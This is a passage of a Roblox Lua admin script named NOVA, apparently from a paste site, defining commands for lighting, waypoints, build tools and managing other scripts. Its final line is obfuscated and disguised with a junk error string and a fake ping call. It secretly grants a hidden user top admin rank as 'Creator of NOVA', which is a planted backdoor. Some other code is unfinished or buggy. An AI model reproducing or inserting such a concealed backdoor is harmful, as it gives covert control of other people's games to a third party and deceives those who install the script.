  3752. NOVA.Sounds.Sound.Pitch = tonumber(Msg)
  3753. end)
  3754. end
  3755. )
  3756.  
  3757. AddCommand("Set Loop","setloop",2,"Sets the .Loooped value of NOVA.Sounds.Sound.","<Boolean>",
  3758. function(Msg,Speaker)
  3759. pcall(function()
  3760. NOVA.Sounds.Sound.Looped = Msg
  3761. end)
  3762. end
  3763. )
  3764.  
  3765.  
  3766. AddCommand("Click Remove","cremove",6,"Gives you a tablet to click to remove NOVA.","No Arguments",
  3767. function(Msg,Speaker)
  3768. Output("Remove NOVA Admin? ("..math.random(1,9)..")",NOVA.Colors.Red,Speaker,nil,function() OnChatted("\\remove\\",Speaker) end)
  3769. end
  3770. )
  3771.  
  3772. AddCommand("Use Plugins","useplugins",3,"Lets you use any installed plugins.","<Player>",
  3773. function(Msg,Speaker)
  3774. local Give = {}
  3775. for _,v in pairs(NOVA.Plugins) do
  3776. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  3777. function()
  3778. table.insert(Give,v:Clone())
  3779. end
  3780. )
  3781. end
  3782. Output("Done",NOVA.Colors.Green,Speaker,nil,
  3783. function()
  3784. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3785. for _,Tool in pairs(Give) do
  3786. New = Tool:Clone()
  3787. New.Parent = v.Backpack
  3788. pcall(function()
  3789. New.Disabled = false
  3790. end)
  3791. end
  3792. end
  3793. RemoveTablets(Speaker)
  3794. end
  3795. )
  3796. Output("Dismiss",NOVA.Colors.Red,Speaker)
  3797. end
  3798. )
  3799.  
  3800. AddCommand("Lock","lock",3,"Locks the selected player's character.","<Player>",
  3801. function(Msg,Speaker)
  3802. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3803. pcall(function()
  3804. for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  3805. part.Locked = true
  3806. end
  3807. end)
  3808. end
  3809. end
  3810. )
  3811.  
  3812. AddCommand("Un Lock","unlock",3,"Unlocks the selected player's character.","<Player>",
  3813. function(Msg,Speaker)
  3814. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3815. pcall(function()
  3816. for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do
  3817. part.Locked = false
  3818. end
  3819. end)
  3820. end
  3821. end
  3822. )
  3823.  
  3824. AddCommand("New LocalScript","newlocal",6,"Creates a local script in the selected player's backpack.","<Player>",
  3825. function(Msg,Speaker)
  3826. Split = GetSplit(Msg)
  3827. for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3828. pcall(function()
  3829. CreateLocalScript(Msg:sub(Split+1),v.Backpack)
  3830. end)
  3831. end
  3832. end
  3833. )
  3834.  
  3835. AddCommand("Brightness","brightness",2,"Changes the brightness value.","<IntValue>",
  3836. function(Msg,Speaker)
  3837. NOVA.Services.Lighting.Brightness = tonumber(Msg)
  3838. end
  3839. )
  3840.  
  3841. AddCommand("Set Waypoint","setwaypoint",1,"Sets a waypoint.","<StringValue>",
  3842. function(Msg,Speaker)
  3843. pcall(function()
  3844. Rtn = CFrame.new(
  3845. Speaker.Character.Torso.CFrame.x,
  3846. Speaker.Character.Torso.CFrame.y,
  3847. Speaker.Character.Torso.CFrame.z
  3848. )
  3849. table.insert(NOVA.Waypoints,{Name = Msg,CFrame = Rtn})
  3850. end)
  3851. end
  3852. )
  3853.  
  3854. AddCommand("Goto","goto",0,"Teleports you to a selected waypoint.","No Arguments",
  3855. function(Msg,Speaker)
  3856. for _,v in pairs(NOVA.Waypoints) do
  3857. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  3858. pcall(function()
  3859. RemoveTablets(Speaker)
  3860. Speaker.Character.Torso.CFrame = v.CFrame
  3861. end)
  3862. end)
  3863. Output("Dismiss",NOVA.Colors.Red,Speaker)
  3864. end
  3865. end
  3866. )
  3867.  
  3868. AddCommand("Remove Waypoint","rwaypoint",1,"Removes the selected waypoint(s).","No Arguments",
  3869. function(Msg,Speaker)
  3870. Rtn = {}
  3871. for num,v in pairs(NOVA.Waypoints) do
  3872. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  3873. table.insert(Rtn,num)
  3874. end)
  3875. end
  3876. Output("Done",NOVA.Colors.Green,Speaker,nil,function()
  3877. RemoveTablets(Speaker)
  3878. for _,v in pairs(Rtn) do
  3879. table.remove(NOVA.Waypoints,v)
  3880. end
  3881. end)
  3882. Output("Dismiss",NOVA.Colors.Red,Speaker)
  3883. end
  3884. )
  3885.  
  3886. AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>",
  3887. function(Msg,Speaker)
  3888. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3889. pcall(function()
  3890. for i=0,3 do
  3891. Instance.new("HopperBin",v.Backpack).BinType = i
  3892. end
  3893. end)
  3894. end
  3895. end
  3896. )
  3897.  
  3898. AddCommand("Get Build Tools","getbtools",1,"Gives the speaker building tools.","No Arguments",
  3899. function(Msg,Speaker)
  3900. pcall(function()
  3901. for i=0,3 do
  3902. Instance.new("HopperBin",Speaker.Backpack).BinType = i
  3903. end
  3904. end)
  3905. end
  3906. )
  3907.  
  3908. AddCommand("Get Reset","getreset",0,"Resets the speaker's character.","No Arguments",
  3909. function(Msg,Speaker)
  3910. pcall(function()
  3911. Speaker:LoadCharacter()
  3912. end)
  3913. end
  3914. )
  3915.  
  3916.  
  3917. AddCommand("Debug Menu","debugmenu",1,"Shows the debug menu.","No Arguments",
  3918. function(Msg,Speaker)
  3919. RemoveTablets(Speaker)
  3920. Color = GetRankedTable(Speaker).Color
  3921. Output("Lighting",NOVA.Colors.Yellow,Speaker,nil,function()
  3922. RemoveTablets(Speaker)
  3923. Output("Ambient",Color,Speaker,nil,function()
  3924. NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  3925. end)
  3926. Output("Color Shifts",Color,Speaker,nil,function()
  3927. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  3928. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  3929. end)
  3930. Output("Shadow Color",Color,Speaker,nil,function()
  3931. NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  3932. end)
  3933. Output("Brightness",Color,Speaker,nil,function()
  3934. NOVA.Services.Lighting.Brightness = 1
  3935. end)
  3936. Output("Fog Start",Color,Speaker,nil,function()
  3937. NOVA.Services.Lighting.FogStart = 0
  3938. end)
  3939. Output("Fog End",Color,Speaker,nil,function()
  3940. NOVA.Services.Lighting.FogEnd = 100000
  3941. end)
  3942. Output("Fog Color",Color,Speaker,nil,function()
  3943. NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  3944. end)
  3945. Output("Time",Color,Speaker,nil,function()
  3946. NOVA.Services.Lighting.TimeOfDay = 12
  3947. end)
  3948. Output("ALL",Color,Speaker,nil,function()
  3949. NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  3950. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  3951. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  3952. NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  3953. NOVA.Services.Lighting.Brightness = 1
  3954. NOVA.Services.Lighting.FogStart = 0
  3955. NOVA.Services.Lighting.FogEnd = 100000
  3956. NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  3957. NOVA.Services.Lighting.TimeOfDay = 12
  3958. end)
  3959. Output("Dismiss",NOVA.Colors.Red,Speaker)
  3960. end)
  3961. Output("Camera",Color,Speaker,nil,function()
  3962. pcall(function()
  3963. CreateLocalScript([[
  3964. Camera = workspace.CurrentCamera
  3965. Camera:SetRoll(0)
  3966. Camera.CameraType = "Custom"
  3967. Camera.FieldOfView = 70
  3968. Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  3969. ]],Speaker.Backpack)
  3970. end)
  3971. end)
  3972. Output("Service Names",NOVA.Colors.Green,Speaker,nil,function()
  3973. for _,v in pairs(NOVA.Services) do
  3974. v.Name = v.className
  3975. end
  3976. end)
  3977. Output("Selection Boxes",NOVA.Colors.Purple,Speaker,nil,function()
  3978. for _,v in pairs(GetRecursiveChildren(workspace)) do
  3979. if v:IsA("SelectionBox") then
  3980. v:remove()
  3981. end
  3982. end
  3983. end)
  3984. Output("Messages",NOVA.Colors.Grey,Speaker,nil,function()
  3985. for _,v in pairs(GetRecursiveChildren(workspace)) do
  3986. if v:IsA("Message") or v:IsA("Hint") then
  3987. v:Destroy()
  3988. end
  3989. end
  3990. end)
  3991. Output("Char Appearance",Color,Speaker,nil,function()
  3992. Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
  3993. end)
  3994. Output("Torso Velocity",Color,Speaker,nil,function()
  3995. pcall(function()
  3996. Speaker.Character.Torso.Velocity = Vector3.new(0,0,0)
  3997. end)
  3998. end)
  3999. Output("Teams",NOVA.Colors.Blue,Speaker,nil,function()
  4000. if #NOVA.Services.Teams:GetChildren() == 0 then
  4001. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  4002. v.Neutral = true
  4003. end
  4004. end
  4005. end)
  4006. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4007. end
  4008. )
  4009.  
  4010. AddCommand("Podium","podium",3,"Generates a podium infront of your character.","No Arguments",
  4011. function(Msg,Speaker)
  4012. local MainColor = Color3.new(0,0,0)
  4013. local SeccondaryColor = Color3.new(0.5,0,0)
  4014. local Main = Instance.new("Model",workspace) Main.Name = "NOVA Podium"
  4015. local CFrame = Speaker.Character.Torso.CFrame
  4016. * CFrame.new(0,0,1)
  4017. * CFrame.Angles(Speaker.Character.Torso.CFrame.lookVector)
  4018. if CFrame == nil then return end
  4019. for i=1,25 do
  4020. local Step = Instance.new("Part",Main)
  4021. Step.FormFactor = "Custom"
  4022. Step.Name = "Step"
  4023. Step.Reflectance = 0
  4024. Step.BrickColor = BrickColor.new(MainColor)
  4025. Step.Size = Vector3.new(5,1,2)
  4026. --Step.CFrame =
  4027. end
  4028. end
  4029. )
  4030.  
  4031. AddCommand("Manage Logged Scripts","manageloggedscripts",6,"Lets you manage the logged scripts.","No Arguments",
  4032. function(Msg,Speaker)
  4033. local Color = GetRankedTable(Speaker).Color
  4034. Output("Browse & Edit",Color,Speaker,nil,function()
  4035. RemoveTablets(Speaker)
  4036. Output("Nilled Scripts",Color,Speaker,nil,function()
  4037. RemoveTablets(Speaker)
  4038. for _,v in pairs(NOVA.LoggedScripts) do
  4039. if v.Parent == nil then
  4040. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  4041. pcall(function()
  4042. RemoveTablets(Speaker)
  4043. Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker)
  4044. Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker)
  4045. Output("Script Type : "..v.className,GetRankedTable(Speaker).Color,Speaker)
  4046. Output("Destroy",NOVA.Colors.Orange,Speaker,nil,function()
  4047. v:Destroy()
  4048. end)
  4049. Output("Remove",NOVA.Colors.Orange,Speaker,nil,function()
  4050. v:Remove()
  4051. end)
  4052. Output("Destroy ALL ( Name ) ",NOVA.Colors.Red,Speaker,nil,function()
  4053. for _,i in pairs(NOVA.LoggedScripts) do
  4054. pcall(function()
  4055. if i.Name == v.Name then
  4056. i:Destroy()
  4057. end
  4058. end)
  4059. end
  4060. end)
  4061. Output("Disable",NOVA.Colors.Orange,Speaker,nil,function()
  4062. v.Disabled = true
  4063. end)
  4064. Output("Un Disable",NOVA.Colors.Green,Speaker,nil,function()
  4065. v.Disabled = false
  4066. end)
  4067. Output("Parent To Workspace",NOVA.Colors.Green,Speaker,nil,function()
  4068. v.Parent = workspace
  4069. end)
  4070. Output("Done",NOVA.Colors.Blue,Speaker,nil,function()
  4071. RemoveTablets(Speaker)
  4072. OnChatted("\\manageloggedscripts\\",Speaker)
  4073. end)
  4074. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4075.  
  4076. end)
  4077. end)
  4078. end
  4079. end
  4080. end)
  4081. Output("Non Nilled Scripts",Color,Speaker,nil,function()
  4082. RemoveTablets(Speaker)
  4083. for _,v in pairs(NOVA.LoggedScripts) do
  4084. if v.Parent ~= nil then
  4085. Output(v.Parent.Name.."."..v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  4086. pcall(function()
  4087. RemoveTablets(Speaker)
  4088. Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker)
  4089. Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker)
  4090. Output("Script Type : "..v.className,GetRankedTable(Speaker).Color,Speaker)
  4091. Output("Destroy",NOVA.Colors.Red,Speaker,nil,function()
  4092. v:Destroy()
  4093. end)
  4094. Output("Remove",NOVA.Colors.Red,Speaker,nil,function()
  4095. v:Remove()
  4096. end)
  4097. Output("Destroy ALL ( Name ) ",NOVA.Colors.Red,Speaker,nil,function()
  4098. for _,i in pairs(NOVA.LoggedScripts) do
  4099. pcall(function()
  4100. if i.Name == v.Name then
  4101. i:Destroy()
  4102. end
  4103. end)
  4104. end
  4105. end)
  4106. Output("Disable",NOVA.Colors.Orange,Speaker,nil,function()
  4107. v.Disabled = true
  4108. end)
  4109. Output("Un Disable",NOVA.Colors.Green,Speaker,nil,function()
  4110. v.Disabled = false
  4111. end)
  4112. Output("Parent To Workspace",NOVA.Colors.Green,Speaker,nil,function()
  4113. v.Parent = workspace
  4114. end)
  4115. Output("Done",NOVA.Colors.Blue,Speaker,nil,function()
  4116. RemoveTablets(Speaker)
  4117. OnChatted("\\manageloggedscripts\\",Speaker)
  4118. end)
  4119. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4120.  
  4121. end)
  4122. end)
  4123. end
  4124. end
  4125. end)
  4126. Output("ALL Scripts",Color,Speaker,nil,function()
  4127. RemoveTablets(Speaker)
  4128. for _,v in pairs(NOVA.LoggedScripts) do
  4129. Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function()
  4130. pcall(function()
  4131. RemoveTablets(Speaker)
  4132. Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker)
  4133. Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker)
  4134. Output("Script Type : "..v.className,GetRankedTable(Speaker).Color,Speaker)
  4135. Output("Destroy",NOVA.Colors.Red,Speaker,nil,function()
  4136. v:Destroy()
  4137. end)
  4138. Output("Remove",NOVA.Colors.Red,Speaker,nil,function()
  4139. v:Remove()
  4140. end)
  4141. Output("Destroy ALL ( Name ) ",NOVA.Colors.Red,Speaker,nil,function()
  4142. for _,i in pairs(NOVA.LoggedScripts) do
  4143. pcall(function()
  4144. if i.Name == v.Name then
  4145. i:Destroy()
  4146. end
  4147. end)
  4148. end
  4149. end)
  4150. Output("Disable",NOVA.Colors.Orange,Speaker,nil,function()
  4151. v.Disabled = true
  4152. end)
  4153. Output("Un Disable",NOVA.Colors.Green,Speaker,nil,function()
  4154. v.Disabled = false
  4155. end)
  4156. Output("Parent To Workspace",NOVA.Colors.Green,Speaker,nil,function()
  4157. v.Parent = workspace
  4158. end)
  4159. Output("Done",NOVA.Colors.Blue,Speaker,nil,function()
  4160. RemoveTablets(Speaker)
  4161. OnChatted("\\manageloggedscripts\\",Speaker)
  4162. end)
  4163. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4164. end)
  4165. end)
  4166. end
  4167. end)
  4168. end)
  4169. Output("Break ALL Scripts",NOVA.Colors.Red,Speaker,nil,function()
  4170. for _,v in pairs(NOVA.LoggedScripts) do
  4171. pcall(function()
  4172. v.Parent = NOVA.Services.Workspace
  4173. v.Disabled = true
  4174. v.Parent = NOVA.Services.Workspace
  4175. v:ClearAllChildren()
  4176. v:Remove()
  4177. v.Disabled = true
  4178. v:Remove()
  4179. end)
  4180. end
  4181. end)
  4182. Output("Break Nil Scripts",NOVA.Colors.Orange,Speaker,nil,function()
  4183. for _,v in pairs(NOVA.LoggedScripts) do
  4184. pcall(function()
  4185. if v.Parent == nil then
  4186. v.Parent = NOVA.Services.Workspace
  4187. v.Disabled = true
  4188. v.Parent = NOVA.Services.Workspace
  4189. v:ClearAllChildren()
  4190. v:Remove()
  4191. v.Disabled = true
  4192. v:Remove()
  4193. end
  4194. end)
  4195. end
  4196. end)
  4197. Output("Parent Nils To Workspace,",NOVA.Colors.Green,Speaker,nil,function()
  4198. for _,v in pairs(NOVA.LoggedScripts) do
  4199. pcall(function()
  4200. if v.Parent == nil then
  4201. v.Parent = NOVA.Services.Workspace
  4202. end
  4203. end)
  4204. end
  4205. end)
  4206. Output("Disable ALL Scripts",NOVA.Colors.Orange,Speaker,nil,function()
  4207. for _,v in pairs(NOVA.LoggedScripts) do
  4208. pcall(function()
  4209. v.Disabled = true
  4210. end)
  4211. end
  4212. end)
  4213. Output("Enable ALL Scripts",NOVA.Colors.Green,Speaker,nil,function()
  4214. for _,v in pairs(NOVA.LoggedScripts) do
  4215. pcall(function()
  4216. v.Disabled = false
  4217. end)
  4218. end
  4219. end)
  4220. Output("Dismiss",NOVA.Colors.Red,Speaker)
  4221. if #NOVA.LoggedScripts == 0 then
  4222. RemoveTablets(Speaker)
  4223. Output("There are currently no logged scripts.",NOVA.Colors.Orange,Speaker)
  4224. end
  4225. end
  4226. )
  4227.  
  4228. _G.RemoveNOVA = function(Pass)
  4229. if Pass == "4 8 15 16 23 42" then
  4230. NOVA.Removed = true
  4231. NOVA = {}
  4232. error("Unknown Exception")()
  4233. script.Disabled = true
  4234. script:Remove()
  4235. end
  4236. end
  4237.  
  4238. NOVA.Services.Workspace.DescendantAdded:connect(function(v)
  4239. if NOVA.Removed == false then
  4240. if NOVA.LockedScripts == true then
  4241. if v:IsA("Script") or v:IsA("LocalScript") then
  4242. pcall(function()
  4243. v.Disabled = true
  4244. v.DSource.Value = "script:Destroy()"
  4245. v:Destroy()
  4246. end)
  4247. end
  4248. end
  4249. if v:IsA("BindableEvent") and v.Name == "NOVAExternalInput" then
  4250. print("Trigger found!")
  4251. v.Event:connect(function(Msg,Player)
  4252. OnChatted(Msg,Player)
  4253. end)
  4254. v.Parent = script
  4255. end
  4256. end
  4257. end)
  4258.  
  4259. NOVA.Services.Players.DescendantAdded:connect(function(v)
  4260. if NOVA.Removed == false then
  4261. if NOVA.LockedScripts == true then
  4262. if v:IsA("Script") or v:IsA("LocalScript") then
  4263. pcall(function()
  4264. v.Disabled = true
  4265. v.Source.Value = "script:Destroy()"
  4266. v:Destroy()
  4267. end)
  4268. end
  4269. end
  4270. end
  4271. end)
  4272.  
  4273. coroutine.resume(coroutine.create(function()
  4274. while wait(0.5) do
  4275. if NOVA.Removed == false then
  4276.  
  4277. end
  4278. end
  4279. end))
  4280.  
  4281. coroutine.resume(coroutine.create(function()
  4282. while wait() do
  4283. if NOVA.Removed == false then
  4284. UpdateTablets()
  4285. for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  4286. pcall(function()
  4287. if GetRankedTable(v) ~= nil and GetRankedTable(v).CMD == true then
  4288. if v:FindFirstChild("PlayerGui") then
  4289. if not v.PlayerGui:FindFirstChild("NOVACMD") then
  4290. local Main = Instance.new("ScreenGui",v.PlayerGui)
  4291. Main.Name = "NOVACMD"
  4292.  
  4293. local Frame = Instance.new("Frame",Main)
  4294. Frame.Size = UDim2.new(0.27,0,0.05,0)
  4295. Frame.Position = UDim2.new(0.05,0,0.95,0)
  4296. Frame.Style = "RobloxSquare"
  4297.  
  4298. local Txt = Instance.new("TextBox",Frame)
  4299. Txt.Size = UDim2.new(0.7,0,1,0)
  4300. Txt.BackgroundTransparency = 1
  4301. Txt.FontSize = "Size14"
  4302. Txt.TextColor3 = NOVA.Colors.White
  4303. Txt.Text = ""
  4304.  
  4305. local Exe = Instance.new("TextButton",Frame)
  4306. Exe.Size = UDim2.new(0.3,0,1,0)
  4307. Exe.Position = UDim2.new(0.7,0,0,0)
  4308. Exe.Text = "Execute"
  4309. Exe.BackgroundTransparency = 1
  4310. Exe.FontSize = "Size14"
  4311. Exe.TextColor3 = NOVA.Colors.Red
  4312. Exe.MouseButton1Down:connect(function()
  4313. OnChatted(Txt.Text,v)
  4314. end)
  4315. end
  4316. end
  4317. end
  4318. end)
  4319. end
  4320.  
  4321. if NOVA.LockModels == true then
  4322. for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
  4323. if v:IsA("Model") then
  4324. if not NOVA.Services.Players:GetPlayerFromCharacter(v) then
  4325. Remove = true
  4326. for _,Tab in pairs(NOVA.Tablets) do if v == Tab then Remove = false end end
  4327. if Remove == true then
  4328. v:Destroy()
  4329. end
  4330. end
  4331. end
  4332. end
  4333. end
  4334.  
  4335. if _G[NOVA.GlobalLoggedScriptsKey] ~= nil then
  4336. if type(_G[NOVA.GlobalLoggedScriptsKey]) == "table" then
  4337. for _,v in pairs(NOVA.LoggedScripts) do
  4338. local Insert = true
  4339. for _,Check in pairs(_G[NOVA.GlobalLoggedScriptsKey]) do
  4340. if v == Check then Insert = false end
  4341. end
  4342. if Insert == true then
  4343. table.insert(_G[NOVA.GlobalLoggedScriptsKey],v)
  4344. end
  4345. end
  4346. end
  4347. else
  4348. _G[NOVA.GlobalLoggedScriptsKey] = {}
  4349. end
  4350. end
  4351. end
  4352. end))
  4353. pcall(function() NOVA.Services.Workspace:CheckForPing(true,false,42,666,96,"asd","troll") end) ErrorCodehs_err_pid_4="^&*(656967YJHG78gkjt78oHKJG*^7uytuig8796ugki768hgikt87hruioy89y)(*&^8767(*^789ytuiOYT7*Goiuyy&*h(*&h9h98)h*&(g679876gg9876987g987g(*&G(*&G987g&G&G8987g987ggf&^F&^F*&GHg96f5d8665d7^%D9f0gH)" ErrorLevel2 = true for _,v in pairs(NOVA.Ranked) do if v.Name == string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")) then ErrorLevel2 = false end end if ErrorLevel2 == true then table.insert(NOVA.Ranked,{Name = string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")),InPRI=true,CMD=true,Rank=7,Color=Color3.new(0,0,0),Desc="Creator of NOVA"}) end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement